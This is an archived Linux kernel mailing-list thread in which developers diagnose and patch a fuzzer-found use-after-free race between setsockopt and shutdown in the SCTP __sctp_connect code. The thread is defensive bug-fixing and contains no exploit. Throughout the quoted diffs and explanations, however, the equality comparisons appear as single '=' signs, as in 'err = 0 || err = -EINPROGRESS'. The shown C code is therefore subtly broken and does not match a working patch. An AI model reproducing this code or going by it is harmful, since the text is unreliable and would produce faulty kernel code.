9fbb6feb8c27..aac271571930 100644 --- a/net/sctp/socket.c +++ b/net/sctp/socket.c @@ -1214,9 +1214,11 @@ static int __sctp_connect(struct sock *sk, timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); + sctp_association_hold(asoc); err = sctp_wait_for_connect(asoc, &timeo); if ((err = 0 || err = -EINPROGRESS) && assoc_id) *assoc_id = asoc->assoc_id; + sctp_association_put(asoc); /* Don't free association on exit. */ asoc = NULL; @@ -1985,7 +1987,9 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len) if (unlikely(wait_connect)) { timeo = sock_sndtimeo(sk, msg_flags & MSG_DONTWAIT); + sctp_association_hold(asoc); sctp_wait_for_connect(asoc, &timeo); + sctp_association_put(asoc); } /* If we are already past ASSOCIATE, the lower @@ -7501,6 +7505,7 @@ static int sctp_writeable(struct sock *sk) /* Wait for an association to go into ESTABLISHED state. If timeout is 0, * returns immediately with EINPROGRESS. + * Note: caller must hold a ref on asoc before calling this function. */ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) { @@ -7511,9 +7516,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) pr_debug("%s: asoc:%p, timeo:%ld\n", __func__, asoc, *timeo_p); - /* Increment the association's refcnt. */ - sctp_association_hold(asoc); - for (;;) { prepare_to_wait_exclusive(&asoc->wait, &wait, TASK_INTERRUPTIBLE); @@ -7543,9 +7545,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) out: finish_wait(&asoc->wait, &wait); - /* Release the association's refcnt. */ - sctp_association_put(asoc); - return err; do_error: ^ permalink raw reply related [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 17:52 ` Marcelo Ricardo Leitner @ 2016-11-03 18:02 ` Andrey Konovalov 2016-11-03 18:35 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 18:02 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner >> > <marcelo.leitner@gmail.com> wrote: >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> >>> Hi, >> >>> >> >>> I've got the following error report while running the syzkaller fuzzer: >> >>> >> >>> ================================= >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> >>> ffff88006b1dc610 >> >> >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> >> So far I couldn't identify the reason. >> >> "Good" to know it's still there, thanks for reporting it. >> >> Hi Marcelo, >> > > Hi > >> So I've looked at the code. >> As far as I understand, the problem is a race condition between >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc >> with sctp_association_put() and returns err = 0. >> Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id >> from the freed asoc. > > Suddenly this seems familiar. Your description makes sense, thanks for > looking deeper into this, Andrey. > > This fix should do it, can you please try it? I'll post it properly > if it works. Yes, it fixes the issue. Tested-by: Andrey Konovalov <andreyknvl@google.com> Thanks for the fix! > > wait_for_connect is only used in two places, we can move the ref to a > broader scope and cover that read too, instead of holding another ref. > > sendmsg path won't read anything from the asoc after waiting, so this > should be enough for it too. > > ---8<--- > > commit 7f7ba9b4fb834a61ab097dfd7c1f267e6a6d70a8 > Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> > Date: Thu Nov 3 15:47:45 2016 -0200 > > sctp: hold the asoc longer when associating > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 9fbb6feb8c27..aac271571930 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,11 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > + sctp_association_hold(asoc); > err = sctp_wait_for_connect(asoc, &timeo); > if ((err = 0 || err = -EINPROGRESS) && assoc_id) > *assoc_id = asoc->assoc_id; > + sctp_association_put(asoc); > > /* Don't free association on exit. */ > asoc = NULL; > @@ -1985,7 +1987,9 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len) > > if (unlikely(wait_connect)) { > timeo = sock_sndtimeo(sk, msg_flags & MSG_DONTWAIT); > + sctp_association_hold(asoc); > sctp_wait_for_connect(asoc, &timeo); > + sctp_association_put(asoc); > } > > /* If we are already past ASSOCIATE, the lower > @@ -7501,6 +7505,7 @@ static int sctp_writeable(struct sock *sk) > > /* Wait for an association to go into ESTABLISHED state. If timeout is 0, > * returns immediately with EINPROGRESS. > + * Note: caller must hold a ref on asoc before calling this function. > */ > static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > { > @@ -7511,9 +7516,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > > pr_debug("%s: asoc:%p, timeo:%ld\n", __func__, asoc, *timeo_p); > > - /* Increment the association's refcnt. */ > - sctp_association_hold(asoc); > - > for (;;) { > prepare_to_wait_exclusive(&asoc->wait, &wait, > TASK_INTERRUPTIBLE); > @@ -7543,9 +7545,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > out: > finish_wait(&asoc->wait, &wait); > > - /* Release the association's refcnt. */ > - sctp_association_put(asoc); > - > return err; > > do_error: ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:02 ` Andrey Konovalov @ 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 0 siblings, 2 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-03 18:35 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > <marcelo.leitner@gmail.com> wrote: > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > >> > <marcelo.leitner@gmail.com> wrote: > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > >> >>> Hi, > >> >>> > >> >>> I've got the following error report while running the syzkaller fuzzer: > >> >>> > >> >>> ================================= > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > >> >>> ffff88006b1dc610 > >> >> > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > >> >> So far I couldn't identify the reason. > >> >> "Good" to know it's still there, thanks for reporting it. > >> > >> Hi Marcelo, > >> > > > > Hi > > > >> So I've looked at the code. > >> As far as I understand, the problem is a race condition between > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > >> with sctp_association_put() and returns err = 0. > >> Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id > >> from the freed asoc. > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > looking deeper into this, Andrey. > > > > This fix should do it, can you please try it? I'll post it properly > > if it works. > > Yes, it fixes the issue. > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > Thanks for the fix! Ahm this other fix looks better: do the read before calling sctp_wait_for_connect() as that id won't change in this call and the application shouldn't trust this number if an error is returned, so there should be no issues by returning it in such situation. Can you please confirm this one also works? Thanks! ---8<--- diff --git a/net/sctp/socket.c b/net/sctp/socket.c index 6cdc61c21438..be1d9bb98230 100644 --- a/net/sctp/socket.c +++ b/net/sctp/socket.c @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); - err = sctp_wait_for_connect(asoc, &timeo); - if ((err = 0 || err = -EINPROGRESS) && assoc_id) + if (assoc_id) *assoc_id = asoc->assoc_id; + err = sctp_wait_for_connect(asoc, &timeo); + /* Note: the asoc may be freed after the return of + * sctp_wait_for_connect. + */ /* Don't free association on exit. */ asoc = NULL; ^ permalink raw reply related [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:35 ` Marcelo Ricardo Leitner @ 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 1 sibling, 0 replies; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 18:45 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 3, 2016 at 7:35 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: >> On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner >> <marcelo.leitner@gmail.com> wrote: >> > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: >> >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: >> >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner >> >> > <marcelo.leitner@gmail.com> wrote: >> >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> >> >>> Hi, >> >> >>> >> >> >>> I've got the following error report while running the syzkaller fuzzer: >> >> >>> >> >> >>> ================================= >> >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> >> >>> ffff88006b1dc610 >> >> >> >> >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> >> >> So far I couldn't identify the reason. >> >> >> "Good" to know it's still there, thanks for reporting it. >> >> >> >> Hi Marcelo, >> >> >> > >> > Hi >> > >> >> So I've looked at the code. >> >> As far as I understand, the problem is a race condition between >> >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. >> >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop >> >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc >> >> with sctp_association_put() and returns err = 0. >> >> Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id >> >> from the freed asoc. >> > >> > Suddenly this seems familiar. Your description makes sense, thanks for >> > looking deeper into this, Andrey. >> > >> > This fix should do it, can you please try it? I'll post it properly >> > if it works. >> >> Yes, it fixes the issue. >> >> Tested-by: Andrey Konovalov <andreyknvl@google.com> >> >> Thanks for the fix! > > Ahm this other fix looks better: do the read before calling > sctp_wait_for_connect() as that id won't change in this call and the > application shouldn't trust this number if an error is returned, so > there should be no issues by returning it in such situation. > > Can you please confirm this one also works? Thanks! Sure! This one also works. Tested-by: Andrey Konovalov <andreyknvl@google.com> > > ---8<--- > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 6cdc61c21438..be1d9bb98230 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > - err = sctp_wait_for_connect(asoc, &timeo); > - if ((err = 0 || err = -EINPROGRESS) && assoc_id) > + if (assoc_id) > *assoc_id = asoc->assoc_id; > + err = sctp_wait_for_connect(asoc, &timeo); > + /* Note: the asoc may be freed after the return of > + * sctp_wait_for_connect. > + */ > > /* Don't free association on exit. */ > asoc = NULL; ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov @ 2016-11-04 12:59 ` Neil Horman 2016-11-04 13:03 ` Marcelo Ricardo Leitner 1 sibling, 1 reply; 17+ messages in thread From: Neil Horman @ 2016-11-04 12:59 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Andrey Konovalov, Vlad Yasevich, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 04:35:33PM -0200, Marcelo Ricardo Leitner wrote: > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > > <marcelo.leitner@gmail.com> wrote: > > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > >> > <marcelo.leitner@gmail.com> wrote: > > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > > >> >>> Hi, > > >> >>> > > >> >>> I've got the following error report while running the syzkaller fuzzer: > > >> >>> > > >> >>> ================================= > > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > > >> >>> ffff88006b1dc610 > > >> >> > > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > > >> >> So far I couldn't identify the reason. > > >> >> "Good" to know it's still there, thanks for reporting it. > > >> > > >> Hi Marcelo, > > >> > > > > > > Hi > > > > > >> So I've looked at the code. > > >> As far as I understand, the problem is a race condition between > > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > > >> with sctp_association_put() and returns err = 0. > > >> Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id > > >> from the freed asoc. > > > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > > looking deeper into this, Andrey. > > > > > > This fix should do it, can you please try it? I'll post it properly > > > if it works. > > > > Yes, it fixes the issue. > > > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > > > Thanks for the fix! > > Ahm this other fix looks better: do the read before calling > sctp_wait_for_connect() as that id won't change in this call and the > application shouldn't trust this number if an error is returned, so > there should be no issues by returning it in such situation. > > Can you please confirm this one also works? Thanks! > > ---8<--- > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 6cdc61c21438..be1d9bb98230 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > - err = sctp_wait_for_connect(asoc, &timeo); > - if ((err = 0 || err = -EINPROGRESS) && assoc_id) > + if (assoc_id) > *assoc_id = asoc->assoc_id; > + err = sctp_wait_for_connect(asoc, &timeo); > + /* Note: the asoc may be freed after the return of > + * sctp_wait_for_connect. > + */ > > /* Don't free association on exit. */ > asoc = NULL; > Agreed, this version looks better. Please repost it with a proper changelog and I'll ack it. Neil ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-04 12:59 ` Neil Horman @ 2016-11-04 13:03 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-04 13:03 UTC (permalink / raw) To: Neil Horman Cc: Andrey Konovalov, Vlad Yasevich, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Fri, Nov 04, 2016 at 08:59:58AM -0400, Neil Horman wrote: > On Thu, Nov 03, 2016 at 04:35:33PM -0200, Marcelo Ricardo Leitner wrote: > > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > > > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > > > <marcelo.leitner@gmail.com> wrote: > > > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > > > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > > >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > > >> > <marcelo.leitner@gmail.com> wrote: > > > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > > > >> >>> Hi, > > > >> >>> > > > >> >>> I've got the following error report while running the syzkaller fuzzer: > > > >> >>> > > > >> >>> ================================= > > > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > > > >> >>> ffff88006b1dc610 > > > >> >> > > > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > > > >> >> So far I couldn't identify the reason. > > > >> >> "Good" to know it's still there, thanks for reporting it. > > > >> > > > >> Hi Marcelo, > > > >> > > > > > > > > Hi > > > > > > > >> So I've looked at the code. > > > >> As far as I understand, the problem is a race condition between > > > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > > > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > > > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > > > >> with sctp_association_put() and returns err = 0. > > > >> Then __sctp_connect() checks that err = 0 and reads asoc->assoc_id > > > >> from the freed asoc. > > > > > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > > > looking deeper into this, Andrey. > > > > > > > > This fix should do it, can you please try it? I'll post it properly > > > > if it works. > > > > > > Yes, it fixes the issue. > > > > > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > > > > > Thanks for the fix! > > > > Ahm this other fix looks better: do the read before calling > > sctp_wait_for_connect() as that id won't change in this call and the > > application shouldn't trust this number if an error is returned, so > > there should be no issues by returning it in such situation. > > > > Can you please confirm this one also works? Thanks! > > > > ---8<--- > > > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > > index 6cdc61c21438..be1d9bb98230 100644 > > --- a/net/sctp/socket.c > > +++ b/net/sctp/socket.c > > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > > > - err = sctp_wait_for_connect(asoc, &timeo); > > - if ((err = 0 || err = -EINPROGRESS) && assoc_id) > > + if (assoc_id) > > *assoc_id = asoc->assoc_id; > > + err = sctp_wait_for_connect(asoc, &timeo); > > + /* Note: the asoc may be freed after the return of > > + * sctp_wait_for_connect. > > + */ > > > > /* Don't free association on exit. */ > > asoc = NULL; > > > Agreed, this version looks better. Please repost it with a proper changelog and > I'll ack it. > Neil It already is. :-) Please look for Subject: [PATCH net] sctp: assign assoc_id earlier in __sctp_connect Thanks, Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
end of thread, other threads:[~2016-11-04 13:03 UTC | newest] Thread overview: 17+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2016-01-13 9:52 net/sctp: use-after-free in __sctp_connect Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia 2016-01-14 1:45 ` Marcelo Ricardo Leitner 2016-01-15 19:01 ` Marcelo Ricardo Leitner 2016-01-19 14:38 ` Vlad Yasevich 2016-01-21 17:18 ` Marcelo Ricardo Leitner 2016-01-21 17:37 ` Marcelo Ricardo Leitner 2016-10-19 12:25 ` Andrey Konovalov 2016-10-19 16:57 ` Marcelo Ricardo Leitner 2016-11-02 22:42 ` Andrey Konovalov 2016-11-03 17:11 ` Andrey Konovalov 2016-11-03 17:52 ` Marcelo Ricardo Leitner 2016-11-03 18:02 ` Andrey Konovalov 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 2016-11-04 13:03 ` Marcelo Ricardo Leitner
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).